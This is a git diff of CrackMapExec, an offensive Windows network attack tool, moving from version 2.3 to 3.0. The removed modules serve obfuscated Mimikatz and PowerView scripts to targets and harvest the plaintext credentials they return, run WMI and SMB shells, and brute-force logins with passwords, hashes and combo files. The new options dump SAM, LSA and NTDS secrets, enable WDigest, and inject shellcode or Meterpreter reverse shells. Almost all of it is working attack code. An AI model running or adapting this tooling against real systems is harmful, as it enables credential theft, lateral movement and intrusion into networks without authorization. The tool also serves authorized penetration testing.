self.__logger.success('Executed command via WMIEXEC')
if self.__noOutput is False:
buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
self.__logger.results(u'{}'.format(line.strip()))
self.__outputBuffer = ''

View File

@ -1,136 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-WMI] example. It allows to issue WQL queries and
# get description of the objects.
#
# e.g.: select name from win32_account
# e.g.: describe win32_process
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCOM
#
import sys
import os
import logging
import cmd
from impacket import version
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
import core.settings as settings
class WMIQUERY:
def __init__(self, logger, username, domain, password, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True):
self.__logger = logger
self.__username = username
self.__password = password
self.__domain = domain
self.__doKerberos = doKerberos
self.__aesKey = aesKey
self.__oxidResolver = oxidResolver
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
if self.__password is None:
self.__password = ''
def run(self, command, address, namespace):
dcom = DCOMConnection(address, self.__username, self.__password, self.__domain,
self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
shell = WMIShell(self.__logger, iWbemServices, address)
shell.onecmd(command)
iWbemServices.RemRelease()
dcom.disconnect()
class WMIShell(cmd.Cmd):
def __init__(self, logger, iWbemServices, address):
cmd.Cmd.__init__(self)
self.logger = logger
self.address = address
self.iWbemServices = iWbemServices
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
describe {class} - describes class
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_describe(self, sClass):
sClass = sClass.strip('\n')
if sClass[-1:] == ';':
sClass = sClass[:-1]
try:
iObject, _ = self.iWbemServices.GetObject(sClass)
iObject.printInformation()
iObject.RemRelease()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def printReply(self, iEnum):
printHeader = True
while True:
try:
pEnum = iEnum.Next(0xffffffff,1)[0]
record = pEnum.getProperties()
line = []
for rec in record:
line.append('{}: {}'.format(rec, record[rec]['value']))
self.logger.results(' | '.join(line))
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('S_FALSE') < 0:
raise
else:
break
iEnum.RemRelease()
def default(self, line):
line = line.strip('\n')
if line[-1:] == ';':
line = line[:-1]
try:
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
self.logger.success('Executed specified WMI query')
self.printReply(iEnumWbemClassObject)
iEnumWbemClassObject.RemRelease()
except Exception, e:
logging.error(str(e))
def emptyline(self):
pass
def do_exit(self, line):
return True

View File

@ -1,130 +0,0 @@
from BaseHTTPServer import BaseHTTPRequestHandler
from threading import Thread
from datetime import datetime
from StringIO import StringIO
from core.logger import CMEAdapter
import logging
import core.settings as settings
import os
import re
import BaseHTTPServer
import ssl
func_name = re.compile('CHANGE_ME_HERE')
class MimikatzServer(BaseHTTPRequestHandler):
def log_message(self, format, *args):
cme_logger = logging.getLogger('CME')
cme_logger.info("%s - - %s" % (self.client_address[0], format%args))
def save_mimikatz_output(self, data, cme_logger):
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as creds:
creds.write(data)
cme_logger.info("Saved Mimikatz's output to {}".format(log_name))
def strip_powershell_comments(self, data):
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', data)
# strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode
def do_GET(self):
if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'):
self.send_response(200)
self.end_headers()
with open('hosted/'+ self.path[1:], 'rb') as script:
ps_script = script.read()
if self.path[1:] != 'powerview.ps1':
logging.info('Obfuscating Powershell script')
ps_script = func_name.sub(settings.obfs_func_name, ps_script) #Randomizes the function name
ps_script = self.strip_powershell_comments(ps_script)
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
self.wfile.write(ps_script)
elif settings.args.path:
if self.path[1:] == settings.args.path.split('/')[-1]:
self.send_response(200)
self.end_headers()
with open(settings.args.path, 'rb') as rbin:
self.wfile.write(rbin.read())
else:
self.send_response(404)
self.end_headers()
def do_POST(self):
self.send_response(200)
self.end_headers()
length = int(self.headers.getheader('content-length'))
data = self.rfile.read(length)
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': self.client_address[0],
'port': self.client_address[1],
'service': 'PARSER',
'hostname': ''})
if settings.args.mimikatz:
try:
buf = StringIO(data).readlines()
plaintext_creds = []
i = 0
while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip()
plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
i += 1
if plaintext_creds:
cme_logger.success('Found plain text credentials (domain\\user:password)')
for cred in plaintext_creds:
cme_logger.results(u'{}'.format(cred))
except Exception as e:
cme_logger.error("Error while parsing Mimikatz output: {}".format(e))
self.save_mimikatz_output(data, cme_logger)
elif settings.args.mimikatz_cmd:
cme_logger.success('Got Mimikatz command output')
cme_logger.results(data)
self.save_mimikatz_output(data)
elif settings.args.powerview and data:
cme_logger.success('Got PowerView command output')
buf = StringIO(data.strip()).readlines()
for line in buf:
cme_logger.results(line.strip())
elif settings.args.gpp_passwords and data:
cme_logger.success('Got Get-GPPPasswords output')
buf = StringIO(data.strip()).readlines()
for line in buf:
cme_logger.results(line.strip())
elif settings.args.tokens and data:
cme_logger.success('Retrieved avalible tokens:')
buf = StringIO(data.strip()).readlines()
for line in buf:
cme_logger.results(line.strip())
def http_server(port):
http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', port), MimikatzServer)
t = Thread(name='http_server', target=http_server.serve_forever)
t.setDaemon(True)
t.start()
def https_server(port):
https_server = BaseHTTPServer.HTTPServer(('0.0.0.0', port), MimikatzServer)
https_server.socket = ssl.wrap_socket(https_server.socket, certfile='certs/cme.crt', keyfile='certs/cme.key', server_side=True)
t = Thread(name='https_server', target=https_server.serve_forever)
t.setDaemon(True)
t.start()

View File

@ -1,46 +0,0 @@
from impacket import smbserver
from threading import Thread
import core.settings as settings
import ConfigParser
import random
import logging
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
self.daemon = True
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file', 'logs/smbserver.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section('TMP')
smbConfig.set('TMP','comment','')
smbConfig.set('TMP','read only','no')
smbConfig.set('TMP','share type','0')
smbConfig.set('TMP','path', 'hosted')
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.smb.processConfigFile()
logging.info('SMB server ready')
self.smb.serve_forever()
def stop(self):
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()

View File

@ -1,16 +0,0 @@
from random import sample
from string import ascii_lowercase
def init_args(arg_namespace):
"""
This is just so we can easily share argparse's namespace
"""
global args
args = arg_namespace
global gfails
gfails = 0
global obfs_func_name
obfs_func_name = ''.join(sample(ascii_lowercase, 10))

View File

@ -1,42 +0,0 @@
from impacket.smbconnection import SessionError
import random
import string
import ntpath
import settings
class SHAREDUMP:
def __init__(self, smbconnection, logger):
self.__smbconnection = smbconnection
self.__permdir = ''.join(random.sample(string.ascii_letters, 10))
self.__logger = logger
def dump(self, host):
permissions = {}
root = ntpath.normpath("\\{}".format(self.__permdir))
for share in self.__smbconnection.listShares():
share_name = share['shi1_netname'][:-1]
permissions[share_name] = []
try:
if self.__smbconnection.listPath(share_name, '*'):
permissions[share_name].append('READ')
except SessionError:
pass
try:
if self.__smbconnection.createDirectory(share_name, root):
self.__smbconnection.deleteDirectory(share_name, root)
permissions[share_name].append('WRITE')
except SessionError:
pass
self.__logger.success('Enumerating shares')
self.__logger.results('{:<10} {}'.format('SHARE', 'Permissions'))
self.__logger.results('{:<10} {}'.format('-----', '-----------'))
for share, perm in permissions.iteritems():
if not perm:
self.__logger.results(u'{:<10} {}'.format(share, 'NO ACCESS'))
else:
self.__logger.results(u'{:<10} {}'.format(share, ', '.join(perm)))

View File

@ -1,243 +0,0 @@
import settings
import os
import socket
from impacket.smbconnection import SessionError
def hash_login(connection, user, domain, ntlm_hash, cme_logger):
if str(connection).find('SMBConnection') != -1:
lmhash, nthash = ntlm_hash.split(':')
if settings.args.kerb:
connection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
else:
connection.login(user, '', domain, lmhash, nthash)
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, ntlm_hash))
return connection, user, None, ntlm_hash, domain
elif str(connection).find('MSSQL') != -1:
try:
if settings.args.kerb:
res = connection.kerberosLogin(None, user, '', domain, ntlm_hash, settings.args.aesKey)
if res is not True:
connection.printReplies()
raise Exception
else:
res = connection.login(None, user, '', domain, ntlm_hash, True)
if res is not True:
connection.printReplies()
raise Exception
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, ntlm_hash))
return connection, user, None, ntlm_hash, domain
except Exception as e:
cme_logger.error(str(e))
def normal_login(connection, user, passwd, domain, cme_logger):
if str(connection).find('SMBConnection') != -1:
if settings.args.kerb:
connection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
else:
connection.login(user, passwd, domain, '', '')
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, passwd))
return connection, user, passwd, None, domain
elif str(connection).find('MSSQL') != -1:
try:
if settings.args.kerb:
res = connection.kerberosLogin(None, user, passwd, domain, None, settings.args.aesKey)
if res is not True:
connection.printReplies()
raise Exception
else:
res = connection.login(None, user, passwd, domain, None, True)
if res is not True:
connection.printReplies()
raise Exception
cme_logger.success(u"Login successful {}\\{}:{}".format(domain, user, passwd))
return connection, user, passwd, None, domain
except Exception as e:
cme_logger.error(str(e))
def smart_login(host, domain, connection, cme_logger):
usernames = []
user_files = []
passwords = []
pass_files = []
hashes = []
hash_files = []
fails = 0
if settings.args.combo_file:
with open(settings.args.combo_file, 'r') as combo_file:
for line in combo_file:
if settings.args.fail_limit:
if settings.args.fail_limit == fails:
cme_logger.info('Reached login fail limit')
raise socket.error
if settings.args.gfail_limit:
if settings.gfails >= settings.args.gfail_limit:
cme_logger.info('Reached global login fail limit')
raise socket.error
try:
line = line.strip()
#Ok , we're dealing with an entry in pwdump format
if line[-3:] == ':::':
line = line[:-3]
domain_user, uid, lmhash, nthash = line.split(':')
ntlm_hash = '{}:{}'.format(lmhash, nthash)
if '\\' in domain_user:
domain, user = domain_user.split('\\')
else:
user = domain_user
try:
return hash_login(connection, user, domain, ntlm_hash, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
elif line[-3] != ':::':
if '\\' in line:
domain, user_pass = line.split('\\')
else:
user_pass = line
if len(user_pass.split(':')) == 3:
hash_or_pass = ':'.join(user_pass.split(':')[1:3]).strip()
#Not the best way to determine of it's an NTLM hash, this needs to be changed
if len(hash_or_pass) == 65 and len(hash_or_pass.split(':')[0]) == 32 and len(hash_or_pass.split(':')[1]) == 32:
user = user_pass.split(':')[0]
try:
return hash_login(connection, user, domain, hash_or_pass, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, hash_or_pass, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
elif len(user_pass.split(':')) == 2:
user, passwd = user_pass.split(':')
try:
return normal_login(connection, user, passwd, domain, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, passwd, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
except Exception as e:
cme_logger.error("Error parsing line '{}' in combo file: {}".format(line, e))
continue
for user in settings.args.user:
if os.path.exists(user):
user_files.append(open(user, 'r'))
else:
usernames.append(user)
for passwd in settings.args.passwd:
if os.path.exists(passwd):
pass_files.append(open(passwd, 'r'))
else:
passwords.append(passwd)
for ntlm_hash in settings.args.hash:
if os.path.exists(ntlm_hash):
hash_files.append(open(ntlm_hash, 'r'))
else:
hashes.append(ntlm_hash)
for user in usernames:
if settings.args.fail_limit:
if settings.args.fail_limit == fails:
cme_logger.info('Reached login fail limit')
raise socket.error
if settings.args.gfail_limit:
if settings.gfails >= settings.args.gfail_limit:
cme_logger.info('Reached global login fail limit')
raise socket.error
if hashes:
for ntlm_hash in hashes:
try:
return hash_login(connection, user, domain, ntlm_hash, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
if passwords:
for passwd in passwords:
try:
return normal_login(connection, user, passwd, domain, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, passwd, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
continue
for user_file in user_files:
for user in user_file:
if settings.args.fail_limit:
if settings.args.fail_limit == fails:
cme_logger.info('Reached login fail limit')
raise socket.error
if settings.args.gfail_limit:
if settings.gfails >= settings.args.gfail_limit:
cme_logger.info('Reached global login fail limit')
raise socket.error
user = user.strip()
if hash_files:
for hash_file in hash_files:
for ntlm_hash in hash_file:
try:
return hash_login(connection, user, domain, ntlm_hash, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
hash_file.seek(0)
if pass_files:
for pass_file in pass_files:
for passwd in pass_file:
try:
return normal_login(connection, user, passwd, domain, cme_logger)
except SessionError as e:
cme_logger.error(u"{}\\{}:{} {}".format(domain, user, passwd, e))
if 'STATUS_LOGON_FAILURE' in str(e):
fails += 1
settings.gfails += 1
pass_file.seek(0)
raise socket.error

0
core/spider/__init__.py Normal file
View File

View File

@ -1,20 +1,19 @@
from time import time, strftime, localtime
from core.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
import re
import settings
import traceback
from time import time, strftime, localtime
from impacket.smbconnection import SessionError
from remotefilesystem import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
class SMBSpider:
class SMBSPIDER:
def __init__(self, logger, connection):
self.logger = logger
self.smbconnection = smbconnection
self.start_time = time()
self.host = host
def __init__(self, logger, host, smbconnection):
self.__logger = logger
self.__smbconnection = smbconnection
self.__start_time = time()
self.__host = host
self.__logger.success("Started spidering")
self.logger.success("Started spidering")
def spider(self, subfolder, depth):
'''
@ -32,13 +31,12 @@ class SMBSPIDER:
subfolder = subfolder.replace('/*/', '/') + '/*'
try:
filelist = self.__smbconnection.listPath(settings.args.share, subfolder)
filelist = self.smbconnection.listPath(settings.args.share, subfolder)
self.dir_list(filelist, subfolder)
if depth == 0:
return
except SessionError:
if settings.args.verbose: traceback.print_exc()
return
except SessionError as e:
pass
for result in filelist:
if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
@ -54,9 +52,9 @@ class SMBSPIDER:
for pattern in settings.args.pattern:
if re.findall(pattern, result.get_longname()):
if result.is_directory():
self.__logger.results(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
self.logger.highlight(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
else:
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host,
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.host,
path,
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
@ -71,7 +69,7 @@ class SMBSPIDER:
def search_content(self, path, result, pattern):
path = path.replace('*', '')
try:
rfile = RemoteFile(self.__smbconnection,
rfile = RemoteFile(self.smbconnection,
path + result.get_longname(),
settings.args.share,
access = FILE_READ_DATA)
@ -85,7 +83,7 @@ class SMBSPIDER:
return
if re.findall(pattern, contents):
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host,
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.host,
path,
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
@ -98,11 +96,9 @@ class SMBSPIDER:
except SessionError as e:
if 'STATUS_SHARING_VIOLATION' in str(e):
pass
if settings.args.verbose: traceback.print_exc()
except Exception as e:
self.__logger.error(str(e))
if settings.args.verbose: traceback.print_exc()
traceback.print_exc()
def finish(self):
self.__logger.error("Done spidering (Completed in {})".format(time() - self.__start_time))
self.logger.error("Done spidering (Completed in {})".format(time() - self.start_time))

30
core/targetparser.py Normal file
View File

@ -0,0 +1,30 @@
from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
def parse_targets(target):
if '-' in target:
ip_range = target.split('-')
try:
hosts = IPRange(ip_range[0], ip_range[1])
except AddrFormatError:
try:
start_ip = IPAddress(ip_range[0])
start_ip_words = list(start_ip.words)
start_ip_words[-1] = ip_range[1]
start_ip_words = [str(v) for v in start_ip_words]
end_ip = IPAddress('.'.join(start_ip_words))
t = IPRange(start_ip, end_ip)
except AddrFormatError:
t = target
else:
try:
t = IPNetwork(target)
except AddrFormatError:
t = target
if type(t) == IPNetwork or type(t) == IPRange:
return list(t)
else:
return [t.strip()]

355
crackmapexec.py Executable file → Normal file
View File

@ -6,27 +6,26 @@ monkey.patch_all()
from gevent.pool import Pool
from gevent import joinall, sleep
from core.logger import *
from core.greenlets import main_greenlet
from core.settings import init_args
from core.servers.mimikatz import http_server, https_server
from core.connector import connector
from core.database import CMEDatabase
from core.cmeserver import CMEServer
from threading import Thread
from logging import getLogger
from argparse import RawTextHelpFormatter
from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
from logging import DEBUG
import re
from core.logger import setup_logger, setup_debug_logger, CMEAdapter
from core.context import Context
from core.helpers import highlight
from core.targetparser import parse_targets
import getpass
import sqlite3
import imp
import argparse
import sys
import os
import logging
import sys
VERSION = '2.3'
CODENAME = '\'Pink Bubbles\''
if sys.platform == 'linux2':
if os.geteuid() is not 0:
print_error('I needz r00tz!')
sys.exit(1)
VERSION = '3.0'
CODENAME = '\'So looong gay boy!\''
parser = argparse.ArgumentParser(description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
@ -47,253 +46,205 @@ parser = argparse.ArgumentParser(description="""
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
""".format(red('Version'),
yellow(VERSION),
red('Codename'),
yellow(CODENAME)),
{}: {}
""".format(highlight('Version', 'red'),
highlight(VERSION),
highlight('Codename', 'red'),
highlight(CODENAME)),
formatter_class=RawTextHelpFormatter,
version='{} - {}'.format(VERSION, CODENAME),
epilog='Hut Hut! Wat Wat!')
epilog='HA! Made you look!')
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument("-u", metavar="USERNAME", dest='user', nargs='*', default=[], type=str, help="Username(s) or file(s) containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', nargs= '*', default=[], type=str, help="Password(s) or file(s) containing passwords")
parser.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], type=str, help='NTLM hash(es) or file(s) containing NTLM hashes')
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing pwdump formatted entries or list of domain\\username:password or username:password entries")
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication')
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames")
parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (defaults to https)')
parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
#How much fail can we limit? can we fail at failing to limit? da da da dum
msgroup = parser.add_mutually_exclusive_group()
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords")
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
parser.add_argument("-m", metavar='MODULE', dest='module', help='Payload module to use')
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
parser.add_argument('--module-info', action='store_true', dest='module_info', help='Display module info')
parser.add_argument("--share", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
parser.add_argument("--server-port", dest='server_port', metavar='PORT', type=int, help='Start the server on the specified port')
parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate localy to each target')
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
parser.add_argument("--fail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed per host (default: None)')
parser.add_argument("--gfail-limit", metavar='LIMIT', type=int, default=None, help='The max number of failed login attempts allowed globally (default: None)')
parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
rgroup.add_argument("--gpp-passwords", action='store_true', help='Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferences')
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
rgroup.add_argument("--disable-wdigest", action='store_true', help="Deletes the 'UseLogonCredential' registry key")
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="List shares")
egroup.add_argument("--tokens", action='store_true', help="Enumerate available tokens")
egroup.add_argument('--check-uac', action='store_true', dest='check_uac', help='Checks UAC status')
egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="Enumerate shares and access")
egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks')
egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users')
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)')
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
egroup.add_argument("--powerview", metavar='POWERVIEW_CMD', dest='powerview', help='Run the specified PowerView command')
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', dest='wmi_namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (defaults to top level directory)')
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
sgroup.add_argument("--content", dest='search_content', action='store_true', help='Enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', dest='exclude_dirs', help='Directories to exclude from spidering')
sgroup.add_argument("--pattern", type=str, help='Pattern to search for in folders, filenames and file content')
sgroup.add_argument("--patternfile", type=str, help='File containing patterns to search for in folders, filenames and file content')
esgroup = sgroup.add_mutually_exclusive_group()
esgroup.add_argument("--pattern", type=str, help='Pattern to search for in folders, filenames and file content')
esgroup.add_argument("--regex", type=str, help='Regex to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)")
cgroup.add_argument('--ps-arch', default='auto', choices={'32', '64', 'auto'}, help='Process architecture all PowerShell code/commands should run in (default: auto)')
cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default="wmiexec", help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Execute the specified PowerShell command')
xgroup = parser.add_argument_group("Shellcode/EXE/DLL/Meterpreter Injection", "Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell")
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll', 'met_reverse_https', 'met_reverse_http'}, help='Inject Shellcode, EXE, DLL or Meterpreter')
xgroup.add_argument("--path", type=str, help='Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter)')
xgroup.add_argument('--procid', type=int, help='Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)')
xgroup.add_argument("--exeargs", type=str, help='Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)')
xgroup.add_argument("--met-options", nargs=2, metavar=('LHOST', 'LPORT'), dest='met_options', help='Meterpreter options (ignored if not injecting Meterpreter)')
bgroup = parser.add_argument_group("Filesystem Interaction", "Options for interacting with filesystems")
bgroup.add_argument("--list", metavar='PATH', nargs='?', const='.', type=str, help='List contents of a directory (defaults to top level directory)')
bgroup.add_argument("--download", nargs=2, metavar=('SRC', 'DST'), help="Download a file from the remote systems")
bgroup.add_argument("--upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the remote systems")
bgroup.add_argument("--delete", metavar="PATH", help="Delete a remote file")
wgroup = parser.add_argument_group("Service Interaction", "Options for interacting with Windows services")
wgroup.add_argument("--service", choices={'list', 'start', 'stop', 'delete', 'status', 'config', 'create', 'change'})
